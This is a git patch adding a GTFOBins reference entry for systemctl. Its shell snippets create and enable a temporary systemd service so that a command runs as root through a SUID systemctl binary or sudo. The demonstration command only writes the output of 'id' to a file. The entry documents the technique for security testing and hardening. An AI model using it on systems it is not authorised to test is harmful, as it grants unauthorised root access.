From a2886b643d184c7f5aa6dfc2e57d6a95aede3f7c Mon Sep 17 00:00:00 2001 From: bstapes <20693610+bstapes@users.noreply.github.com> Date: Tue, 29 Jan 2019 05:12:29 -0800 Subject: [PATCH] Add systemctl --- _gtfobins/systemctl.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 _gtfobins/systemctl.md diff --git a/_gtfobins/systemctl.md b/_gtfobins/systemctl.md new file mode 100644 index 0000000..3df8397 --- /dev/null +++ b/_gtfobins/systemctl.md @@ -0,0 +1,23 @@ +--- +functions: + suid: + - code: | + TF=$(mktemp).service + echo '[Service] + Type=oneshot + ExecStart=/bin/sh -c "id > /tmp/output" + [Install] + WantedBy=multi-user.target' > $TF + ./systemctl link $TF + ./systemctl enable --now $TF + sudo: + - code: | + TF=$(mktemp).service + echo '[Service] + Type=oneshot + ExecStart=/bin/sh -c "id > /tmp/output" + [Install] + WantedBy=multi-user.target' > $TF + sudo systemctl link $TF + sudo systemctl enable --now $TF +---